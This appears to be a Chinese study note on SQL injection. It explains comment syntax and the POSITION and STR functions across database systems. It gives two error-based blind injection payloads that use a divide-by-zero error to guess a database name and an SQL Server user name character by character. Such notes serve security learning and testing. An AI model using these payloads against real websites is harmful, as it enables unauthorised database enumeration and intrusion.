SQL注入

判断数据库类型

mysql:-- 和#  `#`和`--`的区别就是:`#`后面直接加注释内容,而`--`的第 2 个破折号后需要跟一个空格符在加注释内容。

position 函数用法

标准语法

POSITION(substring IN string)
SELECT POSITION('cd' IN 'abcdefcd'); -- 返回 3
SELECT POSITION('x' IN 'abcdef');   -- 返回 0
  • 功能:返回子字符串 substring 在字符串 string 中第一次出现的起始位置
  • 返回值:整数(索引从 1 开始,若未找到返回 0

MySQL/MariaDB:使用 POSITION 或等效的 LOCATE 函数

PostgreSQL:支持标准 POSITION 函数,语法与标准 SQL 一致。

SQL Server:使用 CHARINDEX 函数

Oracle:使用 INSTR 函数:

注意事项

  • 大小写敏感:取决于数据库的配置(如 MySQL 默认不区分大小写,PostgreSQL 默认区分)。
  • 索引起点:所有数据库的返回值均从 1 开始(未找到返回 0)。

案例

id=111 || 1/(1-position('s' in database()))--
  • position('s' in database()):返回数字,如果数据库的首字母为 s,那么返回 1
  • 1/(1-1):这里 position 返回的数值如果是 1,那么 1-1 等于 0,但是除数是不可以为 0 的,所以 1/0 报错
  • 所以通过页面的返回情况,可以判断数据库的首字母为 s
  • position('sa' in database()):同样的思路,遍历第二个字母 a,依次尝试,爆出数据库名

PostgreSQL 注入

注释符:-- 单行注释和 /**/ 多行注释这两种

mssql 注入

sql server 用户 dbo 和 sa

id=2-str(1/(ascii(substring(user,1,1))-99)) --

STR()函数

STR ( float_expression [, length [, decimal ] ] )
  • float_expression:需要转换的浮点数或整数。
  • length(可选):结果字符串的总长度,包括小数点和符号位。
  • decimal(可选):小数点后的位数。

如果未指定 length 和 decimal 参数,STR 函数将使用默认值。默认 length 为 10,默认 decimal 为 0。

示例:

SELECT STR(123.456)   -- 结果:123
SELECT STR(123.456, 6, 2)  -- 结果:123.46
SELECT STR(-123.456, 7, 2)  -- 结果:-123.46